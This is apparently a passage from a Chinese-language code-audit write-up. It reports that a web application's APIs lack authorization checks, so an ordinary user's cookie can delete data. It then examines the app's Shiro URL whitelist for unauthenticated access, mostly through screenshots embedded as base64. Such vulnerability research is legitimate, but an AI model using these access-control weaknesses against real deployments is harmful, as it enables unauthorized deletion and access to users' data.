uEs03pP1EikbjQmOQyZxgGbrebUCiE2+2etH5zuRyxWIxkMolt25PWr4iIiIiIyJXGNE2MWCx61m353ut8E35gUpM9ufxks1mCweCk7OLgOA6xWAzHcbQrhIiIiIiIyHk4bZV+kclg2/ak7eCQzWaV7IuIiIiIiEyAEn65ZBzHwXEmNIHkjGzb1jR+ERERERGRCVDCLyIiIiIiInIFUsIvIiIiIiIicgVy5TsAmf5SqRSpVGr8scvlwu/3YxhGHqOaRI6D7YBpvvf1OGSzNpbLwgAc28YGLHPy75M5jo3jjFXSdBwbMJno2+s4NrZzPL4T+xQRERERkavPJU34M5nMKZX6R4d6GUxAfXU5hmGQTcXp7huiuLSMoN97ml5yjA5Hee/qbV+gAK9bBdymwgsvvMC3v/1t+vv78fv93H777Xz6058mHA7nO7RzyiQj7D/QSV3zbMKB0+8akY508PKuCLeuWcSJn6iRzt28un2AVasX4zFMBlt30ZEtYXFTBYY5lpDbubFPptvtJpPJnNSv11+A32uRSiZIJNMnX9QwCQQCeNwucGz6Og7SNeJi8YImRjr2sT9axKp5Vae+nlSSwcFBisqr8LpOSOQdm5bdW+lJupnLine truncated
|
||||
<p>请求包如下<br>
|
||||
<a id=img6 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707026129581-32bf92d8-7093-4a84-a0c3-f034704a2763.png#averageHue=%23e7ecf3&clientId=u5f11db5c-dd70-4&from=paste&height=283&id=u2a88a91f&originHeight=424&originWidth=604&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=61313&status=done&style=none&taskId=u853c81f2-ee45-4b04-b4e0-8247b8fb5dc&title=&width=402.6666666666667" title><img src="data:image/png;base64,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 truncated
|
||||
登录普通用户,使用普通用户的cookie进行操作,即可删除成功<br>
|
||||
查看代码也没有看到鉴权的地方<br>
|
||||
<a id=img7 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707018512864-43ed69c8-cadf-455d-8ac3-5ffa728e94a1.png#averageHue=%2320242c&clientId=u8fbacc72-bcc4-4&from=paste&height=360&id=ud4030ef4&originHeight=540&originWidth=2020&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=110657&status=done&style=none&taskId=u4969ba24-1df2-4270-befb-998419c5749&title=&width=1346.6666666666667"><img src="data:image/png;base64,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 truncated
|
||||
通读后端的api都没有做相关的鉴权处理,只对cookie的sid的值做了判断。</p>
|
||||
<h1 id=toc-3>未授权</h1>
|
||||
<p>我想看看它的鉴权系统是怎么做的,这里他用的shiro做的权限配置</p>
|
||||
<blockquote><p>Shiro的认证流程如下:</p>
|
||||
<ol>
|
||||
<li>用户提交登录请求</li>
|
||||
<li>Shiro Filter拦截请求</li>
|
||||
<li>Shiro Filter根据请求的URL配置,判断是否需要进行身份认证</li>
|
||||
<li>如果需要进行身份认证,Shiro Filter将请求转发给认证器</li>
|
||||
<li>认证器根据用户的身份信息进行认证</li>
|
||||
<li>如果认证成功,Shiro Filter将请求转发给目标资源</li>
|
||||
<li>如果认证失败,Shiro Filter将返回登录页面</li>
|
||||
</ol>
|
||||
</blockquote>
|
||||
<p>其中安全管理器是Shiro的核心,负责Shiro的所有安全操作。安全管理器需要配置以下几个属性:</p>
|
||||
<ul>
|
||||
<li>Realm:用于认证和授权的领域</li>
|
||||
<li>记住我管理器:用于记住用户的登录状态</li>
|
||||
<li>认证器:用于进行身份认证</li>
|
||||
<li>授权器:用于进行权限授权</li>
|
||||
</ul>
|
||||
<p>再看shiro的配置的时候,发现一个控制URL权限信息的地方<br>
|
||||
<a id=img8 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707043389791-7adc508e-29ef-42be-ad6b-5928251da6e5.png#averageHue=%231f2125&clientId=uda25b173-7ab7-4&from=paste&height=170&id=u7ff1e847&originHeight=255&originWidth=1108&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=40148&status=done&style=none&taskId=u791039bf-4eed-4e8b-b2fc-5301442069f&title=&width=738.6666666666666"><img src="data:image/png;base64,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 truncated
|
||||
查看其中对应的白名单创建类如下<br>
|
||||
<a id=img9 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707026186909-fabaed40-b6f0-4f20-9561-4747131b1797.png#averageHue=%23202125&clientId=u5f11db5c-dd70-4&from=paste&height=485&id=ufd71f8e2&originHeight=727&originWidth=949&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=143641&status=done&style=none&taskId=u7d1d029d-5732-4391-bb69-9ba278308d2&title=&width=632.6666666666666" title><img 